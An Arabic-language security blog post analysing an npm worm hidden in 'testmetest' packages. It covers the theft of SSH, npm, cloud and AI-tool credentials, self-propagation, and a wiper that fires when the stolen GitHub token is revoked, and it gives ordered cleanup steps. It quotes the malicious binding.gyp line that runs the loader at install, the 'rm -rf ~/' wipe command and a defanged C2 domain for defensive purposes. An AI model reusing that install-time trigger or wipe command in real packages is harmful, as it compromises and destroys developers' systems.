---
title: "دودة npm بحزم testmetest: شو بتسرق، وليش ما تلغي التوكن قبل التنظيف"
description: "15 حزمة npm بآخر اسمها testmetest، والإصدارات الخبيثة منهن فيها دودة بتسرق مفاتيح SSH وnpm والسحابة وأدوات الذكاء الاصطناعي، وبتمسح مجلدك الرئيسي إذا لغيت توكن GitHub المسروق قبل ما تنظّف."
url: https://ihsanalapsi.dev/articles/npm-testmetest-worm-ai-credentials
lang: ar
date: 2026-10-23
updated: 2026-10-24
tags: ["أمن سلسلة التوريد", "أدوات المطورين"]
author: Ihsan Alapsi (إحسان العبسي)
---
# دودة npm بحزم testmetest: شو بتسرق، وليش ما تلغي التوكن قبل التنظيف

بين 19 و22 تشرين الأول 2026 حدا نشر 15 حزمة على npm أسماءها بتخلص بـ `testmetest`، والإصدارات الخبيثة منهن فيها دودة بتسرق بيانات الدخول وبتنشر حالها لحزم ومستودعات تانية. SafeDep حللتها يوم 22 تشرين الأول، وما لقت ولا ضحية برّا حسابات المشغّل نفسه. بآخر المقال بتعرف إذا جهازك أو مستودعاتك فيها أثر منها، وبأي ترتيب بتنظّف لحتى ما تمسح الدودة ملفاتك.

## شو هي حزم testmetest، ولسا موجودة على npm؟

حزم testmetest هي 15 حزمة npm انرفعت بين 19 و22 تشرين الأول 2026 بـ 44 إصدار، وبعض إصداراتها فيها دودة بتسرق بيانات الدخول. يوم 23 تشرين الأول ما عاد في ولا إصدار من إصداراتهن على npm.

حسب [تحليل SafeDep](https://safedep.io/testmetest-npm-worm-miasma-variant/)، كل حزمة مرقت بتلات مراحل: إصدار فاضي `0.0.0-stage`، بعدين إصدار `1.0.0` نضيف للتمويه، بعدين إصدار patch خبيث متل `0.0.1` بيصير هو `latest`. وقت ما نشرت SafeDep تحليلها، 11 حزمة كانت انشالت يوم 21 تشرين الأول، و4 لسا موجودة، ووحدة بس منهن مسلّحة: `event-bus-lite-testmetest@0.0.1`، يلي انرفعت الساعة 10:59 بتوقيت UTC يوم 22.

يوم 23 تشرين الأول، [سجل npm](https://www.npmjs.com/package/sdk-utils-testmetest) بيورجي إنو 13 حزمة منهن ممسوحة، والتنتين الباقيين (`sdk-utils-testmetest` و`kvarzo8f3atestmetest`) صار مكانهن إصدار `0.0.1-security` فاضي من npm. وGitHub نشرت لهالتنتين تنبيه برمجية خبيثة ([GHSA-m6qq-33mj-mv9w](https://github.com/advisories/GHSA-m6qq-33mj-mv9w) و[GHSA-8vpc-rm6r-5m6c](https://github.com/advisories/GHSA-8vpc-rm6r-5m6c))، وفيه: «Any computer that has this package installed or running should be considered fully compromised.»

SafeDep بتقول إنو الكود بيشارك كود مع حملة Miasma «Phantom Gyp» من حزيران 2026، وإنو آلية المسح عند إلغاء التوكن جاية من Mini Shai-Hulud. بس هي نفسها ما أكّدت النسب، وما نسبت الحملة لمشغّلي Miasma الأصليين.

## كيف بتشتغل الدودة بلا سكربت تثبيت؟

الحزمة الخبيثة ما فيها ولا سكربت بـ `package.json`. فيها ملف `binding.gyp`، وnpm بيشغّل `node-gyp rebuild` لحاله لأي حزمة فيها هالملف، والدودة حاطة الأمر يلي بيشغّلها جوّا حقل `sources` بالملف.

[توثيق npm للسكربتات](https://docs.npmjs.com/cli/v11/using-npm/scripts) بيقول إنو إذا في `binding.gyp` بجذر الحزمة وما في سكربت `install` أو `preinstall`، npm بيخلي أمر التثبيت `node-gyp rebuild`. وسجل [OSV للحزمة data-pipeline-testmetest](https://osv.dev/vulnerability/MAL-2026-18177) بيورجي الحقل نفسه:

```
<!(env node index.js >/dev/null 2>&1; echo stub.c)
```

`node-gyp` بيشغّل هالأمر وهو عم يجهّز البناء، فبيشتغل `index.js`، وهو محمّل مشفّر بيفك الحمولة وبيمرّقها لـ Bun (وبينزّله إذا مش موجود).

أما `--ignore-scripts`، فهو بيوقف هالحيلة مع npm. بكود npm نفسه ([rebuild.js](https://github.com/npm/cli/blob/latest/workspaces/arborist/lib/arborist/rebuild.js))، الحزمة يلي فيها `binding.gyp` بتاخد `node-gyp rebuild` كسكربت `install`، وسكربتات `install` ما بتشتغل مع `--ignore-scripts`. الحيلة موجّهة لأي أداة أو شخص بيحكم على الحزمة من قسم `scripts` بـ `package.json`: هونيك ما في شي.

## شو بتسرق الدودة، ووين بتزرع حالها؟

دودة testmetest بتسرق مفاتيح SSH، وبيانات دخول npm وPyPI وGit، وملفات `.env`، وكلمات سر المتصفح، وبيانات دخول Claude وCodex وGemini وCopilot، وأسرار AWS وGCP وAzure وVault وKubernetes.

بيانات أدوات الـ AI صارت هدف ثابت بهالحملات: نسخة [LiteLLM 1.107.0 الخبيثة](/articles/litellm-1-107-0-credential-stealer) كانت تسرق نفس النوع بنفس الأسبوع. وحسب SafeDep، الدودة بتعمل كمان هالشغلات:


| وين                   | شو بتعمل                                                                                                                                                                                      |
| --------------------- | --------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- |
| GitHub Actions        | بتقرا الأسرار من ذاكرة عملية `Runner.Worker`، وبتقتل StepSecurity Harden-Runner عن طريق `docker.sock` وبتوجّه `*.stepsecurity.io` لـ localhost، وإذا فشلت بتطلع                               |
| الجهاز                | بتركّب خدمتين للمستخدم: `net-health-checker` و`pkg-runtime` (systemd على Linux وLaunchAgents على macOS)                                                                                       |
| npm                   | بتحط المحمّل بحزمك إنت وبتنشر إصدار patch جديد باسمك                                                                                                                                          |
| PyPI وRubyGems وJFrog | بتعيد نشر الحزم                                                                                                                                                                               |
| SSH                   | بتنسخ حالها للأجهزة يلي بملف `known_hosts` عند كل مستخدم                                                                                                                                      |
| GitHub وGitLab        | بتعمل commit لـ workflow مزيّف باسم CodeQL، ولملفات وكلاء: `.claude/settings.json` و`.cursor/mcp.json` و`CLAUDE.md` و`AGENTS.md` و`.vscode/tasks.json`، ولمحمّل Windows بـ `.github/init.ps1` |


ملفات الوكلاء بدها انتباه لحالها: SafeDep كاتبة إنها «infect the host again»، يعني بترجع تصيب الجهاز. هالملفات بيقراها Claude Code وCursor وVS Code، فأي commit بيلمسها بدو مراجعة متل الكود.

للتواصل، `pkg-runtime` بيدوّر كل ساعة بـ commits على GitHub عن النص `msync-3f7a`، وبينزّل سكربت Python من رابط موقّع بمفتاح RSA تبع المهاجم وبيشغّله. والمسروقات بتطلع لمستودع عام بحسابك، اسمه متل `smart-workers-48213` ووصفه `project-utils`، وcommits بتبلّش بـ `AutoSyncComplete:`. وفي عنوان احتياطي: `aiarmor[.]website`.

## ليش إلغاء توكن GitHub أول شي ممكن يمسح ملفاتك؟

خدمة `net-health-checker` بتفحص توكن GitHub المسروق كل 45 ثانية، و48 ساعة ورا بعض. إذا رجع 401 أو 403، يعني التوكن انلغى، بتشغّل `rm -rf ~/; rm -rf ~/Documents` وبتمسح مجلدك الرئيسي.

يعني الخطوة يلي بتعملها عادة أول شي، إنك تلغي التوكن المسروق، هي نفسها الزناد. سجل [OSV](https://osv.dev/vulnerability/MAL-2026-18177) بيقولها صريحة: شيل `~/.local/bin/net-health-checker.sh` والـ systemd unit أو الـ LaunchAgent تبعه قبل ما تلغي التوكن. وتنبيه GitHub بيقول دوّر كل الأسرار «from a different computer». المنطق نفسه بأي حادثة تسريب أسرار: [ترتيب تدوير الأسرار](/articles/railway-breach-env-vars-rotate-secrets) بيفرق متل التدوير نفسه.

## كيف تفحص جهازك ومستودعاتك وتنظّف بالترتيب؟

الفحص والتنظيف ست خطوات، والترتيب جزء من الحل:

1. فتّش ملفات القفل بمشاريعك عن أي حزمة `testmetest`:

```bash
grep -rln "testmetest" --include=package-lock.json --include=npm-shrinkwrap.json --include=yarn.lock --include=pnpm-lock.yaml .
```

2. شوف إذا خدمات الدودة موجودة على الجهاز. هالمسارات من تحليل SafeDep:

```bash
# Linux
systemctl --user status net-health-checker pkg-runtime
ls -la ~/.local/bin/net-health-checker.sh ~/.config/net-health-checker ~/.local/share/runtimes /var/tmp/.fontconfig_state
# macOS
ls -la ~/Library/LaunchAgents/com.user.net-health-checker.plist ~/Library/LaunchAgents/com.user.pkg-runtime.plist
```

3. إذا لقيت شي، افصل الجهاز عن الشبكة، وشيل الخدمتين قبل أي شي تاني. هي أوامر SafeDep متل ما هي، وعلى macOS امسح ملفي الـ `.plist` بعد أمر `launchctl`:

```bash
# Linux
systemctl --user disable --now net-health-checker pkg-runtime
rm -rf ~/.local/bin/net-health-checker.sh ~/.config/net-health-checker \
  ~/.config/systemd/user/{net-health-checker,pkg-runtime}.service \
  ~/.local/share/runtimes /var/tmp/.fontconfig_state
# macOS
launchctl bootout gui/$(id -u) ~/Library/LaunchAgents/com.user.{net-health-checker,pkg-runtime}.plist
```

4. من جهاز تاني نضيف، لغي ودوّر كل بيانات الدخول: GitHub وGitLab، وnpm وPyPI وRubyGems، ومفاتيح السحابة وVault وKubernetes، ومفاتيح SSH، ومفاتيح مزوّدي الـ AI.
5. افحص حساباتك: مستودعات جديدة وصفها `project-utils`، وإصدارات patch ما نشرتها إنت، وcommits بتبلّش بـ `AutoSyncComplete:`، وcommits بتضيف `.claude/` أو `.cursor/` أو `.gemini/` أو `.vscode/tasks.json` أو `CLAUDE.md` أو `AGENTS.md`، وأي workflow باسم CodeQL ما ضفته إنت. ولحتى ما يتغيّر شي بـ GitHub Actions بلا ما تنتبه، شوف كيف [تقفل الـ actions على commit محدد](/articles/github-actions-workflow-lockfiles).
6. SafeDep بتنصح تعيد تثبيت نظام التشغيل على الجهاز المصاب، وتنبيه GitHub بيقول إنو ما في ضمانة إنو شيل الحزمة بيشيل كل البرمجيات الخبيثة.

وللجاي: SafeDep نشرت قاعدة كشف بتطبّقها على كل حزمة: ملف `binding.gyp` حقل `sources` فيه `<!(node` وبيخبّي المخرجات، بحزمة ما فيها ملفات C أو C++. وإذا مشاريعك ما بتحتاج بناء أصلي، `--ignore-scripts` مع npm بالـ CI بيسكّر هالباب. وإذا بدك حدا يفحص منصتك وخط الـ CI والأسرار تبعك قبل ما يوصلها هجوم متل هاد، هاد شغل [مُحَصَّن](/muhassan).

آخر مرة راجعت فيها `AGENTS.md` أو `.claude/settings.json` بمستودعاتك متل ما بتراجع الكود، إمتى كانت؟

## FAQ

**هل الدودة عم تنتشر هلق؟**

ما في دليل على هيك. لحد 22 تشرين الأول، SafeDep ما لقت ولا حزمة لطرف تالت انصابت ولا ضحية، وكل النشاط كان على حسابات المشغّل التجريبية. ويوم 23 تشرين الأول ما عاد في ولا إصدار من إصداراتهن على npm.

**بيحميني --ignore-scripts من هالدودة؟**

إي، مع npm. npm بيعامل بناء binding.gyp كسكربت install، و--ignore-scripts بيوقف سكربتات install. الحيلة بالدودة إنو package.json ما فيه ولا سكربت، فيلي بيحكم على الحزمة من قسم scripts بس ما بيشوف شي.

**ما ثبّتت ولا حزمة منهن، في شي لازم أعمله؟**

شي بسيط: فحص قصير لملفات القفل بيكفي لهالحزم. بس الطريقة نفسها، binding.gyp بيشغّل كود وقت التثبيت، ممكن ترجع بأسماء تانية، فقاعدة الفحص يلي نشرتها SafeDep بتستاهل تنضاف لأدوات CI عندك.

**لقيت خدمة net-health-checker على جهازي، شو أول شي؟**

افصل الجهاز عن الشبكة، وشيل الخدمتين وملفاتهن قبل ما تلغي أي توكن. بعدين لغي ودوّر كل بيانات الدخول من جهاز تاني نضيف، وSafeDep بتنصح تعيد تثبيت نظام التشغيل.
